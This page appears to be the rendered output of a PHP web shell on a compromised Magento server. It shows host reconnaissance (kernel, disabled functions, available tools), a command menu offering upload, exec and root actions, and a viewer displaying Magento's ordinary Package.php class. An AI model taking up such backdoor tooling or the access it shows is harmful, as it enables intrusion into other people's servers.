Kernel : Linux vmi616275.contaboserver.net 5.4.0-84-generic #94-Ubuntu SMP Thu Aug 26 20:27:37 UTC 2021 x86_64
Disable function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Safe mode : OFF
Host : diestoffstrasse.com | Server ip : 127.0.0.1 | Your ip : 127.0.0.1 | Time @ Server : 24 Aug 2025 15:20:18
MySQL : OFF | MSSQL : OFF | cURL : ON | Oracle : OFF | wget : ON | Perl : ON

/home/dev2.destoffenstraat.com/vendor-1/magento/framework/Config/Composer/

HOME about upload exec mass file domain root vuln newfile newfolder kill me

File Path : /home/dev2.destoffenstraat.com/vendor-1/magento/framework/Config/Composer/Package.php

<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Framework\Config\Composer; /** * A model that represents composer package * @api * @since 100.0.2 */ class Package { /** * Contents of composer.json * * @var \StdClass */ protected $json; /** * Constructor * * @param \StdClass $json */ public function __construct(\stdClass $json) { $this->json = $json; } /** * Get JSON contents * * @param bool $formatted * @param string|null $format * @return string|\StdClass */ public function getJson($formatted = true, $format = null) { if ($formatted) { if (null === $format) { $format = JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES; } return json_encode($this->json, $format) . "\n"; } return $this->json; } /** * A getter for properties of the package * * For example: * $package->get('name'); * $package->get('version'); * $package->get('require->php'); * * Returns whatever there is in the node or false if was unable to find this node * * @param string $propertyPath * @param string $filter pattern to filter out the properties * @return mixed * @SuppressWarnings(PHPMD.UnusedLocalVariable) */ public function get($propertyPath, $filter = null) { $result = $this->traverseGet($this->json, explode('->', $propertyPath)); if ($result && $filter) { foreach ($result as $key => $value) { if (!preg_match($filter, $key)) { unset($result->{$key}); } } } return $result; } /** * Traverse an \StdClass object recursively in search of the needed property * * @param \StdClass $json * @param array $chain * @param int $index * @return mixed */ private function traverseGet(\StdClass $json, array $chain, $index = 0) { $property = $chain[$index]; if (!property_exists($json, $property)) { return false; } if (isset($chain[$index + 1])) { return $this->traverseGet($json->{$property}, $chain, $index + 1); } else { return $json->{$property}; } } }